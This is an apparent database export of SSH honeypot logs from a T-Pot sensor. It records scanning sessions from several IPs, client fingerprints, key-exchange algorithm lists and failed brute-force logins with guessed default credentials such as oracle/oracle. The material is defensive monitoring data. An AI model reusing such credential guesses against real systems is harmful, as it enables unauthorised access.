24280	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:08:39.125174+03	2021-09-20 14:15:08.57947+03	{"_id": "pAbkAnwBvYTbRNuExBLJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "9ee13bf513d6", "@version": "1", "duration": 2.691063404083252, "timestamp": "2021-09-20T11:08:39.125174Z", "@timestamp": "2021-09-20T11:08:39.125Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
24281	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:08:39.157716+03	2021-09-20 14:15:08.580471+03	{"_id": "pQbkAnwBvYTbRNuExBLJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "006024714010", "@version": "1", "duration": 2.5518040657043457, "timestamp": "2021-09-20T11:08:39.157716Z", "@timestamp": "2021-09-20T11:08:39.157Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
24282	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:08:39.220949+03	2021-09-20 14:15:08.581471+03	{"_id": "pgbkAnwBvYTbRNuExBLJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "fb161bad0075", "@version": "1", "timestamp": "2021-09-20T11:08:39.220949Z", "@timestamp": "2021-09-20T11:08:39.220Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
24283	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:08:39.220128+03	2021-09-20 14:15:08.583471+03	{"_id": "qAbkAnwBvYTbRNuExxIl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 519044309855207, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 43154, "dest_port": 22, "timestamp": "2021-09-20T11:08:39.220128Z", "@timestamp": "2021-09-20T11:08:39.220Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
24284	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:08:39.220238+03	2021-09-20 14:15:08.584507+03	{"_id": "qwbkAnwBvYTbRNuEyBIT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 43154, "dest_port": 22, "timestamp": "2021-09-20T11:08:39.220238", "@timestamp": "2021-09-20T11:08:39.220Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
24285	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:08:39.416085+03	2021-09-20 14:15:08.585509+03	{"_id": "qgbkAnwBvYTbRNuEyBIS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "46.101.115.211", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 35696, "timestamp": "2021-09-20T11:08:39.416085", "@timestamp": "2021-09-20T11:08:39.416Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24293	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:08:40.072834+03	2021-09-20 14:15:08.5975+03	{"_id": "zAbkAnwBvYTbRNuEyBK5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "690bb208186d", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:08:40.072834Z", "@timestamp": "2021-09-20T11:08:40.072Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
24286	46.101.115.211	109.199.241.180	Cowrie	2021-09-20 14:08:39.414895+03	2021-09-20 14:15:08.5885+03	{"_id": "rAbkAnwBvYTbRNuEyBK5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "46.101.115.211", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 50.1155, "location": {"lat": 50.1155, "lon": 8.6842}, "timezone": "Europe/Berlin", "city_name": "Frankfurt am Main", "longitude": 8.6842, "postal_code": "60313", "region_code": "HE", "region_name": "Hesse", "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "46.101.115.211", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 46.101.115.211:35696 (192.168.176.2:22) [session: 67aa52b72f1d]", "session": "67aa52b72f1d", "@version": "1", "protocol": "ssh", "src_port": 35696, "dest_port": 22, "timestamp": "2021-09-20T11:08:39.414895Z", "@timestamp": "2021-09-20T11:08:39.414Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
24287	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:08:40.070037+03	2021-09-20 14:15:08.589502+03	{"_id": "rQbkAnwBvYTbRNuEyBK5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.110.220.49:42582 (192.168.176.2:22) [session: 690bb208186d]", "session": "690bb208186d", "@version": "1", "protocol": "ssh", "src_port": 42582, "dest_port": 22, "timestamp": "2021-09-20T11:08:40.070037Z", "@timestamp": "2021-09-20T11:08:40.070Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
24288	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:08:40.105576+03	2021-09-20 14:15:08.5905+03	{"_id": "rgbkAnwBvYTbRNuEyBK5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:56438 (192.168.176.2:22) [session: 235b59fbd42d]", "session": "235b59fbd42d", "@version": "1", "protocol": "ssh", "src_port": 56438, "dest_port": 22, "timestamp": "2021-09-20T11:08:40.105576Z", "@timestamp": "2021-09-20T11:08:40.105Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
24289	46.101.115.211	109.199.241.180	Cowrie	2021-09-20 14:08:39.415577+03	2021-09-20 14:15:08.591504+03	{"_id": "yAbkAnwBvYTbRNuEyBK5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "46.101.115.211", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 50.1155, "location": {"lat": 50.1155, "lon": 8.6842}, "timezone": "Europe/Berlin", "city_name": "Frankfurt am Main", "longitude": 8.6842, "postal_code": "60313", "region_code": "HE", "region_name": "Hesse", "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "46.101.115.211", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "67aa52b72f1d", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:08:39.415577Z", "@timestamp": "2021-09-20T11:08:39.415Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
24290	46.101.115.211	109.199.241.180	Cowrie	2021-09-20 14:08:39.44427+03	2021-09-20 14:15:08.5925+03	{"_id": "yQbkAnwBvYTbRNuEyBK5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "46.101.115.211", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 50.1155, "location": {"lat": 50.1155, "lon": 8.6842}, "timezone": "Europe/Berlin", "city_name": "Frankfurt am Main", "longitude": 8.6842, "postal_code": "60313", "region_code": "HE", "region_name": "Hesse", "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "46.101.115.211", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "67aa52b72f1d", "@version": "1", "timestamp": "2021-09-20T11:08:39.444270Z", "@timestamp": "2021-09-20T11:08:39.444Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
24291	46.101.115.211	109.199.241.180	Cowrie	2021-09-20 14:08:39.674747+03	2021-09-20 14:15:08.5945+03	{"_id": "ygbkAnwBvYTbRNuEyBK5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "46.101.115.211", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 50.1155, "location": {"lat": 50.1155, "lon": 8.6842}, "timezone": "Europe/Berlin", "city_name": "Frankfurt am Main", "longitude": 8.6842, "postal_code": "60313", "region_code": "HE", "region_name": "Hesse", "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "46.101.115.211", "eventid": "cowrie.login.failed", "message": "login attempt [teamspeak/zxcvbnm] failed", "session": "67aa52b72f1d", "@version": "1", "password": "zxcvbnm", "username": "teamspeak", "timestamp": "2021-09-20T11:08:39.674747Z", "@timestamp": "2021-09-20T11:08:39.674Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
24295	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:08:40.147275+03	2021-09-20 14:15:08.5995+03	{"_id": "zgbkAnwBvYTbRNuEyBK5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [oracle/oracle] failed", "session": "fb161bad0075", "@version": "1", "password": "oracle", "username": "oracle", "timestamp": "2021-09-20T11:08:40.147275Z", "@timestamp": "2021-09-20T11:08:40.147Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
24296	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:08:40.150787+03	2021-09-20 14:15:08.601499+03	{"_id": "zwbkAnwBvYTbRNuEyBK5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "0251c10df38a", "@version": "1", "duration": 2.721541404724121, "timestamp": "2021-09-20T11:08:40.150787Z", "@timestamp": "2021-09-20T11:08:40.150Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
